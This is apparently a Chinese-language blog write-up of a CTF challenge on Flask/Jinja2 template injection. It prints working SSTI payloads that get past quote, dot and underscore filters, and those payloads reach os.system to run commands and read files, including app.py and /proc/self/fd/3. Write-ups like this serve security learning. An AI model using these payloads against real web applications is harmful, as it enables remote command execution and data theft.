CTF

[pasecactf_2019]flask_ssti

Posted on 2020-05-12,2 min read

不多说了。SSTI

{{1+1}}
//2
{{config}]}
//FLAG=-M7\x10w\x12`md\x07+d|\x0eI\x089\x03(D\x1a\x1b\t\x17 ;P4\x02U\x17Y%T/(\x17>G\x07\x1eG
//其他过滤了单引号。点。下划线。单个过滤的话。还能通过request.args去绕。这个一起过滤了。

没啥想法了。过滤单引号/下滑线。可以request.args.cat绕
过滤点。可以这样绕。。欸。可是又过滤了单引号。

{{''['__class__']}}
{{''|attr('__class__')}}

没了单引号。还可以用双引号。并且双引号支持16进制等
这里本地开了个环境。测一下

我们可以用16进制绕过下划线

然后点被禁用。咋调用函数
。并且这是python3.没file直接读文件。
看了一手WP。

{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
//用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
//用<class '_frozen_importlib_external.FileLoader'>这个去读取文件

这里读取app.py发现flag是经过加密的。然后加密函数在源码中。
然后会删掉flag。这里我比较懒。。直接读取/proc/self/fd/3。得到Flag

下一篇: Websec 刷题→